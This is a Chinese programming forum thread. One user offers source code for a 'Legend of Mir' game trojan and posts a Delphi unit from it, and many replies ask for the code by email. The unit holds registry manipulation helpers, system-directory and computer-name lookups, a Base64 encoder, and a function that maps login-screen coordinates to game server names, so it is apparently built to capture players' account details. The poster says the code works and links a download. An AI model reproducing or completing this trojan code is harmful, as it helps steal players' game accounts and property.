本人有传奇木马源程序,谁要?
解决方案 »
- 如何在panel上面加的Image 上画东西呢?
- 求操作(查询及相关函数)Access数据库之完整语法资料
- 如何去掉是否要删除的对话框?
- 怎么使在编辑stringgrid时能够多行显示?
- 关于excel导入ACCESS的问题
- 请问一下我用DELPHI工具生成了一个COM(DLL)可放在ASP中有VB编译错,错误如下,有谁知道怎么回事?
- 求解释函数,代码如下
- 在的delphi中如何在最后一页出现大写金额?
- 为什么我用下面的代码删除表的所有记录会出错?正确的代码怎么写?
- 怎么样在RICHEDIT控件中插入图片
- 我设计的一个MTS客户端,在别人的Win98机子注册,出现下面的提示,无法注册,这是什么意思?
- 低手相问,DELPHI的问题!在线等
else 不要
Uses
Windows,SysUtils,Registry,classes;procedure Addvalue(Root:HKEY;StrPath:String;YN:Boolean;Strvalue:String;Strdata:String;DataType:integer);
procedure Delvalue(Root:HKEY;StrPath:String;Strvalue:String);
procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
function Readvalue(Root:HKEY;StrPath:String;Strvalue:String):String;
function valueExists(Root:HKEY;StrPath:String;Strvalue:String):Boolean;
function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
procedure GetvalueName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure Delreject(Root:HKEY;StrPath:String;n:integer);
procedure Delrepeat(Root:HKEY;StrPath:String);
function myGetComputerName:String;
function GetWP:string;
function GetWSP:String;
function GetServerName(Logo:String;Y:integer):String;
function EncodeString(Decoded:string):String;
function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
var
Reg:Tregistry;implementation
uses Unit1;procedure Addvalue(Root:HKEY;StrPath:String;YN:Boolean;Strvalue:String;StrData:String;DataType:integer);
Var I:Integer;
begin
Reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(Strpath,YN) then
Begin
case DataType of
1:reg.WriteString(Strvalue,StrData);
3:reg.WriteInteger(Strvalue,strtoint(StrData));
4:
begin
I:=strtoint(StrData);
reg.WriteBinaryData(Strvalue,I,SizeOf(Integer));
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;procedure Delvalue(Root:HKEY;StrPath:String;Strvalue:String);
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.Deletevalue(Strvalue);
Reg.CloseKey;
Reg.Free;
end;function Readvalue(Root:HKEY;StrPath:String;Strvalue:String):String;
var i:integer;
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) and reg.valueExists(Strvalue) then
begin
case reg.GetDataType(Strvalue) of
rdString:Readvalue:=reg.ReadString(Strvalue);
rdInteger:Readvalue:=inttostr(reg.ReadInteger(Strvalue));
rdBinary:
begin
reg.ReadBinaryData(Strvalue,I,sizeof(i));
Readvalue:=inttostr(i);
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;function valueExists(Root:HKEY;StrPath:String;Strvalue:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.valueExists(Strvalue)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free;
end;function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.KeyExists(StrSub)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free
end;procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.DeleteKey(StrSub);
reg.CloseKey;
reg.Free;
end;procedure GetvalueName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.GetvalueNames(SL);
reg.CloseKey;
reg.Free;
end;procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then Reg.GetKeyNames(SL);
Reg.CloseKey;
reg.Free;
end;procedure Delreject(Root:HKEY;StrPath:String;n:integer);
var Temp,Sub:TStringList;
i,t:integer;
begin
Temp:=TStringList.Create;
Sub:=TStringList.Create;
Getkeyname(Root,StrPath,Sub);
if Sub.Count<>0 then begin
for i:=0 to sub.Count-1 do beginif readvalue(Root,StrPath+‘‘+Sub[i],‘区域‘)=‘abcdefghijklmnopqrstuvwxyz1234567890‘ then delvalue(Root,StrPath+‘‘+Sub[i],‘区域‘);
getvaluename(Root,StrPath+‘‘+Sub[i],Temp);
for t:=0 to Temp.Count-1 do begin
if readvalue(Root,StrPath+‘‘+Sub[i],Temp[t])=‘‘ then Delvalue(Root,StrPath+‘‘+Sub[i],Temp[t]);
end;Temp.Clear;
getvaluename(Root,StrPath+‘‘+Sub[i],Temp);
if Temp.Count<n then Delsub(Root,StrPath,Sub[i]);
Temp.Clear;
end;
end;
Temp.Free;
Sub.Free;
End;procedure Delrepeat(Root:HKEY;StrPath:String);
var Temp,Sub,Bj1,Bj2:TStringList;
i,j,t:integer;
begin
Temp:=TStringList.Create;
Sub:=TStringList.Create;
Bj1:=TStringList.Create;
Bj2:=TStringList.Create;Getkeyname(Root,StrPath,Sub);
if sub.Count>=2 then begin
for i:=0 to sub.Count-2 do begin
getvaluename(Root,StrPath+‘‘+sub[i],Temp);
for t:=0 to Temp.Count-1 do begin
Bj1.Add(Readvalue(Root,StrPath+‘‘+sub[i],Temp[t]));
end;
Temp.Clear;
for j:=i+1 to sub.Count-1 do begin
getvaluename(Root,StrPath+‘‘+sub[j],Temp);
for t:=0 to Temp.Count-1 do begin
Bj2.Add(Readvalue(Root,StrPath+‘‘+sub[j],Temp[t]));
end;
if Bj1.Text=Bj2.Text then Delsub(Root,StrPath,sub[j]);
Temp.Clear;
bj2.Clear;
end;
bj1.Clear;
end;
end;
Temp.Free;Sub.Free;bj1.Free;bj2.Free;
End;function myGetComputerName:String;
var pcComputer:PChar;
dwCSize:DWORD;
begin
dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
GetMem(pcComputer,dwCSize);
try
if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
finally
FreeMem(pcComputer);
end;
end;function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>‘‘ then Result:=Result+‘‘;
end;function GetWSP:String;
var Buf:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>‘‘ then Result:=Result+‘‘;
end;
[email protected]
[email protected] a lot.
[email protected]
[email protected]
begin
if (Logo='传 奇 一 区') or (Logo='传奇九区(一区转档)') then begin
if (y>141) and (y<183) then result:='雷霆(上海)' else
if (y>183) and (y<225) then result:='光芒(上海)' else
if (y>225) and (y<267) then result:='烈焰(上海)' else
if (y>267) and (y<309) then result:='疾风(北京)' else
if (y>309) and (y<351) then result:='新浪(北京)' else
if (y>351) and (y<393) then result:='流云(广州)' else
if (y>393) and (y<435) then result:='联通(南京)' else
if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='传 奇 二 区') or (Logo='传奇十区(二区转档)') then begin
if (y>141) and (y<183) then result:='雷霆(上海)' else
if (y>183) and (y<225) then result:='光芒(上海)' else
if (y>225) and (y<267) then result:='烈焰(上海)' else
if (y>267) and (y<309) then result:='雷霆二(上海)' else
if (y>309) and (y<351) then result:='渝州(重庆)' else
if (y>351) and (y<393) then result:='峨嵋(成都)' else
if (y>393) and (y<435) then result:='海鼎(新浪)' else
if (y>435) and (y<477) then result:='网通(上海)' else result:='未知';
end
else
if (Logo='传 奇 三 区') or (Logo='传奇八区(三区转档)') or (Logo='英雄之门(三区转档)') then begin
if (y>141) and (y<183) then result:='飞鸿(广东)' else
if (y>183) and (y<225) then result:='新月(流云)' else
if (y>225) and (y<267) then result:='雄狮(新浪)' else
if (y>267) and (y<309) then result:='天府(成都)' else
if (y>309) and (y<351) then result:='天堂(杭州)' else
if (y>351) and (y<393) then result:='雷霆二(上海)' else
if (y>393) and (y<435) then result:='光芒二(上海)' else
if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
//------------------太长了,这里只留3个,不然发不了帖子-------------
else result:='未知(区域)';
End;
function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
const
_Code64: String[64] =
('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
var
I: LongInt;
B: array[0..2279] of Byte;
J, K, L, M, Quads: Integer;
Stream: string[76];
EncLine: String;
begin
Encoded.Clear;
Stream := '';
Quads := 0;
{为提高效率,每2280字节流为一组进行编码}
J := Decoded.Size div 2280;
Decoded.Position := 0;
{对前J*2280个字节流进行编码}
for I := 1 to J do
begin
Decoded.Read(B, 2280);
for M := 0 to 39 do
begin
for K := 0 to 18 do
begin
L:= 57*M + 3*K;
Stream[Quads+1] := _Code64[(B[L] div 4)+1];
Stream[Quads+2] := _Code64[(B[L] mod 4)*16 + (B[L+1] div 16)+1];
Stream[Quads+3] := _Code64[(B[L+1] mod 16)*4 + (B[L+2] div 64)+1];
Stream[Quads+4] := _Code64[B[L+2] mod 64+1];
Inc(Quads, 4);
if Quads = 76 then
begin
Stream[0] := #76;
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
Quads := 0;
end;
end;
end;
end; {对以2280为模的余数字节流进行编码}
J := (Decoded.Size mod 2280) div 3;
for I := 1 to J do
begin
Decoded.Read(B, 3);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + (B[2] div 64)+1];
Stream[Quads+4] := _Code64[B[2] mod 64+1];
Inc(Quads, 4);
{每行76个字符}
if Quads = 76 then
begin
Stream[0] := #76;
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
Quads := 0;
end;
end;
{“=”补位}
if (Decoded.Size mod 3) = 2 then
begin
Decoded.Read(B, 2);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + 1];
Stream[Quads+4] := '=';
Inc(Quads, 4);
end; if (Decoded.Size mod 3) = 1 then
begin
Decoded.Read(B, 1);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + 1];
Stream[Quads+3] := '=';
Stream[Quads+4] := '=';
Inc(Quads, 4);
end; Stream[0] := Chr(Quads);
if Quads > 0 then
begin
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
end; Result := Encoded.Size;
end;{对参数Decoded字符串进行Base64编码,返回编码后的字符串}
function EncodeString(Decoded:string):String;
var
mmTemp,mmDecoded:TMemoryStream;
strTemp:TStrings;
begin
mmTemp := TMemoryStream.Create;
mmDecoded:=TMemoryStream.Create;
strTemp:=TStringList.Create;
strTemp.Add(Decoded);
strTemp.SaveToStream(mmTemp);
mmTemp.Position := 0;
{剔除mmTemp从strTemp中带来的字符#13#10}
mmDecoded.CopyFrom(mmTemp,mmTemp.Size-2);
{对mmDecoded进行Base64编码,由mmTemp返回编码后的结果}
EncodeBASE64(mmTemp,mmDecoded);
{获得Base64编码后的字符串}
mmTemp.Position:=0;
strTemp.LoadFromStream(mmTemp);
{返回结果必须从strTemp[0]中获得,如果使用strTemp.Text会
带来不必要的字符#13#10}
Result:=strTemp[0];
end;end.
http://www.playicq.com/shop/dispsource.php?id=115
大家可以一齐学习。是可以用的。
[email protected]
只要源代码
[email protected]://www.playicq.com/shop/dispsource.php?id=115 找不到啊如果有能否一并转发?
谢谢!
e-mail:
[email protected]
[email protected]
[email protected]
学习学习!!
[email protected]
[email protected]
多谢了!
[email protected]